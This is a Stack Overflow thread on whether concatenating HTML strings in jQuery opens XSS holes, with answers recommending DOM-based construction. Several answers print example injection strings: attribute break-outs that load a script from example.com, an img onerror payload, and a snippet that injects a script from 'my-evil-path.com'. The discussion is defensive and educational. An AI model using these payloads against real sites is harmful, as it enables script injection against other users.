current community

your communities

more stack exchange communities

Stack Exchange
tour help
stack overflow careers
Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
up vote 43 down vote favorite
10

The company who hosts our site reviews our code before deploying - they've recently told us this:

HTML strings should never be directly manipulated, as that opens us up to potential XSS holes. Instead, always use a DOM api to create elements...that can be jQuery or the direct DOM apis.

For example, instead of

this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );

They tell us to do

var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );

Is this really true? Can anyone give us an example of an XSS attack that could exploit an HTML string like the first one?

share|improve this question
1  
This question seems to be more suited for codereview.stackexchange.com –  Gerald Schneider Nov 18 '14 at 9:38
54  
@GeraldSchneider No it doesn't. –  Scimonster Nov 18 '14 at 9:38
3  
In general, it's probably not necessary. In circumstances where content comes from a user, it may be sensible. So in this case it depends where this.au came from. –  lonesomeday Nov 18 '14 at 9:40
7  
I disagree with you @lonesomeday, even if the content doesn't come from the user but from your super trusty database, it's still good practice to handle it with care. Should your database turn out to be not so trusty and have a SQL-injection vulnerability, handling the content it serves with care will limit the damage the SQL-injection can do. As an analogy, would you tell a bank or casino they don't need cameras/alarm systems because the only ones with a key in the first place are all trusted employees? ;) –  funkwurm Nov 18 '14 at 9:57
1  
@TRiG Actually, i don't think it does. It would be $('<a>'). –  Scimonster Nov 18 '14 at 10:56

4 Answers 4

up vote 63 down vote accepted

If this.au is somehow modified, it might contain something like this:

"><script src="http://example.com/evilScript.js"></script><span class="

That'll mess up your HTML and inject a script:

<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>

If you use DOM manipulation to set the src attribute, the script (or whatever other XSS you use) won't be executed, as it'll be properly escaped by the DOM API.

In response to some commentators who are saying that if someone could modify this.au, surely they could run the script on their own: I don't know where this.au is coming from, nor is it particularly relevant. It could be a value from the database, and the DB might have been compromised. It could also be a malicious user trying to mess things up for other users. It could even be an innocent non-techie who didn't realize that writing "def" > "abc" would destroy things.

One more thing. In the code you provided, var quizAuLink = $( 'a' ); will not create a new <a> element. It'll just select all the existing ones. You need to use var quizAuLink = $( '<a>' ); to create a new one.

share|improve this answer
4  
+1 for nice injection. –  Edan Feiles Nov 18 '14 at 9:41
60  
Damn those example.com bastards. They host all the most malicious files. –  Fuser97381 Nov 18 '14 at 17:26
2  
Now why exactly is this more unsafe than using DOM methods? If the attacker had the possibility to modify this.au, he/she probably also had the possibility to inject a script element. –  tomsmeding Nov 18 '14 at 17:31
2  
@tomsmeding Perhaps this.au came from an untrusted source, say, user input. –  Scimonster Nov 18 '14 at 18:03
8  
@tomsmeding You can't protect users against their own web console use or misuse, but it's not necessarily input from the current user that you're worried about - rather something input by a malicious user which your site will display to potential victims. –  Jacob Raihle Nov 18 '14 at 21:31
up vote 14 down vote

This should be just as secure, without compromising too much on readability:

var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);

The point is to avoid doing string operations to build HTML strings. Note that in above, I used $() only to parse a constant string, which parses to a well known result. In this example, only the this.au part is dangerous because it may contain dynamically calculated values.

share|improve this answer
6  
Just beware though, using .data() doesn't assign it as an attribute, and it's possible that the OP needs it as an attribute. Of course, it's also possible that this way is fine. –  Scimonster Nov 18 '14 at 20:18
up vote 12 down vote

As you cannot inject script tags in modern browsers using .innerHTML you will need to listen to an event:

If this.au is somehow modified, it might contain something like this:

"><img src="broken-path.png" onerror="alert('my injection');"><span class="

That'll mess up your HTML and inject a script:

<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>

And ofcause to run bigger chunks of JavaScript set onerror to:

var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);

Thanks to Scimoster for the boilerplate

share|improve this answer
up vote 1 down vote

Security aside, when you build HTML in JavaScript you must make sure that it is valid. While it is possible to build and sanitize HTML by string manipulation*, DOM manipulation is far more convenient. Still, you must know exactly which part of your string is HTML and which is literal text.

Consider the following example where we have two hard-coded variables:

var href = "/detail?tag=hr&copy%5B%5D=1",
    text = "The HTML <hr> tag";

The following code naively builds the HTML string:

var div = document.createElement("div");
div.innerHTML = '<a href="' + href + '">' + text + '</a>';
console.log(div.innerHTML);
// <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a>

This uses jQuery but it is still incorrect (it uses .html() on a variable that was supposed to be text):

var div = document.createElement("div");
$("<a></a>").attr("href", href).html(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML <hr> tag</a>

This is correct because it displays the text as intended:

var div = document.createElement("div");
$("<a></a>").attr("href", href).text(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&amp;copy%5B%5D=1">The HTML &lt;hr&gt; tag</a>

Conclusion: Using DOM manipulation/jQuery do not guarantee any security, but it sure is one step in right direction.

* See this question for examples. Both string and DOM manipulation are discussed.

share|improve this answer
    
The 2 last blocks of code looks very similar, I had too look carefully to see the difference, can you please emphasize that they use html() and text()? –  A.L Nov 19 '14 at 10:53

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.